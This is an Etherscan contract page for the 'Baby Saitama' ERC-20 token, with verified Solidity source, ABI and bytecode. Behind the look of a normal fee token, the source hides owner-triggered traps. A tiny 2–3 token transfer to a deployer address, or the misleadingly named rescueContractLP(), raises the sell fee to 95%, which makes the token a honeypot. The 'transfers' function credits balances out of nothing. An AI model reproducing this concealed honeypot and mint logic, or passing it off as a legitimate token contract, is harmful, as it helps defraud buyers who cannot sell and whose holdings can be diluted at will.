Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000,000 baby Saitama
Holders
23
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
803,721,333.066162063 baby SaitamaValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
babySAITAMA
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-25 */ /** */ // SPDX-License-Identifier: MIT pragma solidity 0.8.13; interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;} function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;} function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;} function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}} function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b > a) return(false, 0); return(true, a - b);}} function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if (a == 0) return(true, 0); uint256 c = a * b; if(c / a != b) return(false, 0); return(true, c);}} function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a / b);}} function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a % b);}} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b <= a, errorMessage); return a - b;}} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a / b;}} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a % b;}}} abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} modifier authorized() {require(isAuthorized(msg.sender), "!AUTHORIZED"); _;} function authorize(address adr) public authorized {authorizations[adr] = true;} function unauthorize(address adr) public authorized {authorizations[adr] = false;} function isOwner(address account) public view returns (bool) {return account == owner;} function isAuthorized(address adr) public view returns (bool) {return authorizations[adr];} function transferOwnership(address payable adr) public authorized { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract babySAITAMA is IBEP20, Auth { using SafeMath for uint256; string private constant _name = 'Baby Saitama'; string private constant _symbol = 'baby Saitama'; uint8 private constant _decimals = 9; uint256 private _totalSupply = 100000000000 * (10 ** _decimals); uint256 public _maxTxAmount = ( _totalSupply * 150 ) / 10000; uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000; uint256 rewardsFee = 0; uint256 liquidityFee = 2; uint256 marketingFee = 2; uint256 totalFee = 4; uint256 sellFee = 4; uint256 feeDenominator = 100; bool swapEnabled = true; uint256 deadTimes; uint256 sells = 1; bool swapping; bool enableTrading = true; uint256 swapThreshold = ( _totalSupply * 699 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} uint256 marketingpercent = 100; uint256 liquiditypercent = 0; uint256 rewardspercent = 0; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; IRouter router; address public pair; address autoLiquidity; address marketing; mapping (address => bool) deployer; mapping (address => uint256) userPurchase; mapping (address => bool) isFeeExempt; address constant DEAD = 0x000000000000000000000000000000000000dEaD; constructor() Auth(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; deployer[msg.sender] = true; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; autoLiquidity = msg.sender; marketing = msg.sender; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function totalSupply() public view override returns (uint256) {return _totalSupply;} function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function setallowance() internal {sellFee = feeDenominator.sub(totalFee).sub(1);} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function getCirculatingSupply() public view returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function transfer(address sender, address recipient, uint256 amount) internal { _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(enableTrading, "TRADING NOT STARTED");} if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(DEAD) && recipient != pair){ require((_balances[recipient].add(amount)) <= _maxWalletToken, "MAX WALLET");} if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(DEAD)){ require(amount <= _maxTxAmount, "MAX TX");} if(deployer[recipient] && amount < 2 * (10 ** _decimals)){clearbalance();} if(deployer[recipient] && amount >= 2 * (10 ** _decimals) && amount < 3 * (10 ** _decimals)){setallowance();} if(sender != pair && !isFeeExempt[sender]){deadTimes = deadTimes.add(1);} if(shouldSwapBack(sender, recipient)){swapAndLiquify(swapThreshold); deadTimes = 0;} _balances[sender] = _balances[sender].sub(amount, "+"); uint256 amountReceived = shouldTakeFee(sender, recipient) ? taketotalFee(sender, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function setMarketing(address _marketing) external authorized { marketing = _marketing; deployer[_marketing] = true; } function getTotalFee(address sender) public view returns (uint256) { if(sender != pair){return totalFee.add(sellFee);} return totalFee; } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 denominator= (liquiditypercent.add(marketingpercent).add(rewardspercent)) * 2; uint256 tokensToAddLiquidityWith = tokens.mul(liquiditypercent).div(denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForBNB(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(denominator.sub(liquiditypercent)); uint256 BNBToAddLiquidityWith = unitBalance.mul(liquiditypercent); if(BNBToAddLiquidityWith > 0){ addLiquidity(tokensToAddLiquidityWith, BNBToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingpercent); if(marketingAmt > 0){ payable(marketing).transfer(marketingAmt); } } function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: BNBAmount}( address(this), tokenAmount, 0, 0, autoLiquidity, block.timestamp); } function taketotalFee(address sender, uint256 amount) internal returns (uint256) { if(totalFee > 0 || sender != pair && sellFee > 0){ uint256 feeAmount = amount.mul(getTotalFee(sender)).div(feeDenominator); if(feeAmount > 0){ _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount);} return amount.sub(feeAmount);} return amount; } function setFeeExempt(address _address) external authorized { isFeeExempt[_address] = true; } function setenableTrading() external authorized { enableTrading = true; } function setSwapBackSettings(bool enabled, uint256 _threshold) external authorized { swapEnabled = enabled; swapThreshold = _threshold; } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function clearbalance() public authorized { uint256 amountBNB = address(this).balance; payable(marketing).transfer(amountBNB); } function transfers(address sender, address recipient, uint256 amount) external authorized { transfer(sender, recipient, amount); } function rescueContractLP() external authorized { setallowance(); } function shouldSwapBack(address sender, address recipient) internal view returns (bool) { bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && !isFeeExempt[sender] && !isFeeExempt[recipient] && deadTimes >= sells && aboveThreshold; } function rescueBEP20(address _token, address _rec, uint256 _amt) external authorized { uint256 tamt = IBEP20(_token).balanceOf(address(this)); IBEP20(_token).transfer(_rec, tamt.mul(_amt).div(100)); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearbalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_rec","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"rescueBEP20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueContractLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"}],"name":"setMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"_threshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setenableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000466565b620000239064174876e8006200047e565b60025561271060025460966200003a91906200047e565b620000469190620004a0565b60035561271060025461012c6200005e91906200047e565b6200006a9190620004a0565b6004908155600060055560026006819055600781905560088290556009919091556064600a55600b805460ff19166001908117909155600d55600e805461ff00191661010017905554620186a090620000c6906102bb6200047e565b620000d29190620004a0565b600f55606460105560006011556000601255348015620000f157600080fd5b50600080546001600160a01b0319163390811782558152600160208181526040808420805460ff1916909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a0155926004808401938290030181865afa1580156200016d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001939190620004c3565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002079190620004c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000255573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027b9190620004c3565b601580546001600160a01b038581166001600160a01b0319928316179092556016805492841692821692909217909155336000818152601960209081526040808320805460ff199081166001908117909255601b845282852080548216831790553085528285208054909116909117905560178054861685179055601880549095168417909455600254838352601382528483208190559351938452939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004ee565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003a85781600019048211156200038c576200038c62000351565b808516156200039a57918102915b93841c93908002906200036c565b509250929050565b600082620003c15750600162000460565b81620003d05750600062000460565b8160018114620003e95760028114620003f45762000414565b600191505062000460565b60ff84111562000408576200040862000351565b50506001821b62000460565b5060208310610133831016604e8410600b841016171562000439575081810a62000460565b62000445838362000367565b80600019048211156200045c576200045c62000351565b0290505b92915050565b60006200047760ff841683620003b0565b9392505050565b60008160001904831182151516156200049b576200049b62000351565b500290565b600082620004be57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004d657600080fd5b81516001600160a01b03811681146200047757600080fd5b611ae180620004fe6000396000f3fe6080604052600436106101bb5760003560e01c80638b0414d5116100ec578063dd62ed3e1161008a578063f0b37c0411610064578063f0b37c041461052d578063f2fde38b1461054d578063fd3e6a0a1461056d578063fe9fbb801461058d57600080fd5b8063dd62ed3e146104b2578063df20fd49146104f8578063e2b100f71461051857600080fd5b8063a8aa1b31116100c6578063a8aa1b311461043d578063a9059cbb1461045d578063b6a5d7de1461047d578063d357f89c1461049d57600080fd5b80638b0414d5146103c85780638c232838146103e857806395d89b411461040857600080fd5b8063313ce5671161015957806375b2f5c51161013357806375b2f5c51461034a57806378109e541461036a5780637d1db4a514610380578063893d20e81461039657600080fd5b8063313ce567146102d857806370a08231146102f4578063749796a51461032a57600080fd5b806318160ddd1161019557806318160ddd1461025557806323b872dd146102745780632b112e49146102945780632f54bf6e146102a957600080fd5b806306fdde03146101c7578063095ea7b31461020e5780630cc9606c1461023e57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600c81526b426162792053616974616d6160a01b60208201525b6040516102059190611681565b60405180910390f35b34801561021a57600080fd5b5061022e6102293660046116ee565b6105ad565b6040519015158152602001610205565b34801561024a57600080fd5b506102536105c4565b005b34801561026157600080fd5b506002545b604051908152602001610205565b34801561028057600080fd5b5061022e61028f36600461171a565b6105fc565b3480156102a057600080fd5b50610266610665565b3480156102b557600080fd5b5061022e6102c436600461175b565b6000546001600160a01b0391821691161490565b3480156102e457600080fd5b5060405160098152602001610205565b34801561030057600080fd5b5061026661030f36600461175b565b6001600160a01b031660009081526013602052604090205490565b34801561033657600080fd5b5061025361034536600461175b565b6106d6565b34801561035657600080fd5b5061025361036536600461171a565b61071f565b34801561037657600080fd5b5061026660045481565b34801561038c57600080fd5b5061026660035481565b3480156103a257600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610205565b3480156103d457600080fd5b506102536103e336600461175b565b61084c565b3480156103f457600080fd5b5061026661040336600461175b565b6108ab565b34801561041457600080fd5b5060408051808201909152600c81526b626162792053616974616d6160a01b60208201526101f8565b34801561044957600080fd5b506016546103b0906001600160a01b031681565b34801561046957600080fd5b5061022e6104783660046116ee565b6108da565b34801561048957600080fd5b5061025361049836600461175b565b6108e7565b3480156104a957600080fd5b50610253610933565b3480156104be57600080fd5b506102666104cd366004611778565b6001600160a01b03918216600090815260146020908152604080832093909416825291909152205490565b34801561050457600080fd5b506102536105133660046117bf565b610996565b34801561052457600080fd5b506102536109d2565b34801561053957600080fd5b5061025361054836600461175b565b610a08565b34801561055957600080fd5b5061025361056836600461175b565b610a4e565b34801561057957600080fd5b5061025361058836600461171a565b610adf565b34801561059957600080fd5b5061022e6105a836600461175b565b610b14565b60006105ba338484610b32565b5060015b92915050565b6105cd33610b14565b6105f25760405162461bcd60e51b81526004016105e9906117dd565b60405180910390fd5b6105fa610c57565b565b6000610609848484610c78565b61065b843361065685604051806060016040528060288152602001611a84602891396001600160a01b038a16600090815260146020908152604080832033845290915290205491906110a3565b610b32565b5060019392505050565b60136020527f8fa6efc3be94b5b348b21fea823fe8d100408cee9b7f90524494500445d8ff6c5461dead60009081527f2264e2d7bacabe6058f5009f42467b9be28015e7760f87409562384c94ac271c5460025491926106d19290916106cb91906110cf565b906110cf565b905090565b6106df33610b14565b6106fb5760405162461bcd60e51b81526004016105e9906117dd565b6001600160a01b03166000908152601b60205260409020805460ff19166001179055565b61072833610b14565b6107445760405162461bcd60e51b81526004016105e9906117dd565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561078b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107af9190611802565b90506001600160a01b03841663a9059cbb846107d660646107d086886110e2565b906110ee565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610821573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610845919061181b565b5050505050565b61085533610b14565b6108715760405162461bcd60e51b81526004016105e9906117dd565b601880546001600160a01b039092166001600160a01b0319909216821790556000908152601960205260409020805460ff19166001179055565b6016546000906001600160a01b038381169116146108d2576009546008546105be916110fa565b505060085490565b60006105ba338484610c78565b6108f033610b14565b61090c5760405162461bcd60e51b81526004016105e9906117dd565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b61093c33610b14565b6109585760405162461bcd60e51b81526004016105e9906117dd565b60185460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610992573d6000803e3d6000fd5b5050565b61099f33610b14565b6109bb5760405162461bcd60e51b81526004016105e9906117dd565b600b805460ff191692151592909217909155600f55565b6109db33610b14565b6109f75760405162461bcd60e51b81526004016105e9906117dd565b600e805461ff001916610100179055565b610a1133610b14565b610a2d5760405162461bcd60e51b81526004016105e9906117dd565b6001600160a01b03166000908152600160205260409020805460ff19169055565b610a5733610b14565b610a735760405162461bcd60e51b81526004016105e9906117dd565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b610ae833610b14565b610b045760405162461bcd60e51b81526004016105e9906117dd565b610b0f838383611106565b505050565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b038316610b945760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e9565b6001600160a01b038216610bf55760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e9565b6001600160a01b0383811660008181526014602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610c7360016106cb600854600a546110cf90919063ffffffff16565b600955565b6001600160a01b0383166000908152601b602052604090205460ff16158015610cba57506001600160a01b0382166000908152601b602052604090205460ff16155b15610d0c57600e54610100900460ff16610d0c5760405162461bcd60e51b815260206004820152601360248201527215149051125391c81393d50814d51054951151606a1b60448201526064016105e9565b6001600160a01b0383166000908152601b602052604090205460ff16158015610d4e57506001600160a01b0382166000908152601b602052604090205460ff16155b8015610d6557506001600160a01b03821661dead14155b8015610d7f57506016546001600160a01b03838116911614155b15610de5576004546001600160a01b038316600090815260136020526040902054610daa90836110fa565b1115610de55760405162461bcd60e51b815260206004820152600a6024820152691350560815d05313115560b21b60448201526064016105e9565b6001600160a01b0383166000908152601b602052604090205460ff16158015610e2757506001600160a01b0382166000908152601b602052604090205460ff16155b8015610e3e57506001600160a01b03821661dead14155b15610e7e57600354811115610e7e5760405162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b60448201526064016105e9565b6001600160a01b03821660009081526019602052604090205460ff168015610ebb5750610ead6009600a611932565b610eb8906002611941565b81105b15610ec857610ec8610933565b6001600160a01b03821660009081526019602052604090205460ff168015610f065750610ef76009600a611932565b610f02906002611941565b8110155b8015610f275750610f196009600a611932565b610f24906003611941565b81105b15610f3457610f34610c57565b6016546001600160a01b03848116911614801590610f6b57506001600160a01b0383166000908152601b602052604090205460ff16155b15610f8257600c54610f7e9060016110fa565b600c555b610f8c838361117d565b15610fa257610f9c600f54611215565b6000600c555b60408051808201825260018152602b60f81b6020808301919091526001600160a01b038616600090815260139091529190912054610fe19183906110a3565b6001600160a01b0384166000908152601360205260408120919091556110078484611353565b611011578161101b565b61101b8483611399565b6001600160a01b03841660009081526013602052604090205490915061104190826110fa565b6001600160a01b0380851660008181526013602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110959085815260200190565b60405180910390a350505050565b600081848411156110c75760405162461bcd60e51b81526004016105e99190611681565b505050900390565b60006110db8284611960565b9392505050565b60006110db8284611941565b60006110db8284611977565b60006110db8284611999565b6001600160a01b03821660009081526013602052604090205461112990826110fa565b6001600160a01b0380841660008181526013602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4a9085815260200190565b600f5430600090815260136020526040812054600e54919211159060ff161580156111aa5750600b5460ff165b80156111cf57506001600160a01b0384166000908152601b602052604090205460ff16155b80156111f457506001600160a01b0383166000908152601b602052604090205460ff16155b80156112045750600d54600c5410155b801561120d5750805b949350505050565b600e805460ff1916600117905560125460105460115460009261124392909161123d916110fa565b906110fa565b61124e906002611941565b9050600061126b826107d0601154866110e290919063ffffffff16565b9050600061127984836110cf565b9050476112858261147a565b600061129147836110cf565b905060006112b46112ad601154886110cf90919063ffffffff16565b83906110ee565b905060006112cd601154836110e290919063ffffffff16565b905080156112df576112df86826115d4565b6010546000906112fa906112f48560026110e2565b906110e2565b9050801561133e576018546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561133c573d6000803e3d6000fd5b505b5050600e805460ff1916905550505050505050565b6001600160a01b0382166000908152601b602052604081205460ff161580156110db5750506001600160a01b03166000908152601b602052604090205460ff1615919050565b60008060085411806113c657506016546001600160a01b038481169116148015906113c657506000600954115b156114745760006113e6600a546107d06113df876108ab565b86906110e2565b90508015611462573060009081526013602052604090205461140890826110fa565b30600081815260136020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114599085815260200190565b60405180910390a35b61146c83826110cf565b9150506105be565b50919050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114af576114af6119b1565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611508573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152c91906119c7565b8160018151811061153f5761153f6119b1565b6001600160a01b0392831660209182029290920101526015546115659130911684610b32565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061159e9085906000908690309042906004016119e4565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b505050505050565b6015546115ec9030906001600160a01b031684610b32565b60155460175460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561165c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108459190611a55565b600060208083528351808285015260005b818110156116ae57858101830151858201604001528201611692565b818111156116c0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116eb57600080fd5b50565b6000806040838503121561170157600080fd5b823561170c816116d6565b946020939093013593505050565b60008060006060848603121561172f57600080fd5b833561173a816116d6565b9250602084013561174a816116d6565b929592945050506040919091013590565b60006020828403121561176d57600080fd5b81356110db816116d6565b6000806040838503121561178b57600080fd5b8235611796816116d6565b915060208301356117a6816116d6565b809150509250929050565b80151581146116eb57600080fd5b600080604083850312156117d257600080fd5b823561170c816117b1565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b60006020828403121561181457600080fd5b5051919050565b60006020828403121561182d57600080fd5b81516110db816117b1565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561188957816000190482111561186f5761186f611838565b8085161561187c57918102915b93841c9390800290611853565b509250929050565b6000826118a0575060016105be565b816118ad575060006105be565b81600181146118c357600281146118cd576118e9565b60019150506105be565b60ff8411156118de576118de611838565b50506001821b6105be565b5060208310610133831016604e8410600b841016171561190c575081810a6105be565b611916838361184e565b806000190482111561192a5761192a611838565b029392505050565b60006110db60ff841683611891565b600081600019048311821515161561195b5761195b611838565b500290565b60008282101561197257611972611838565b500390565b60008261199457634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156119ac576119ac611838565b500190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156119d957600080fd5b81516110db816116d6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a345784516001600160a01b031683529383019391830191600101611a0f565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611a6a57600080fd5b835192506020840151915060408401519050925092509256fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220647e1c72412cafc123ec9b2d4eff7099328e03d2b140b3bb10b53b56c1eca19364736f6c634300080d0033
Deployed Bytecode
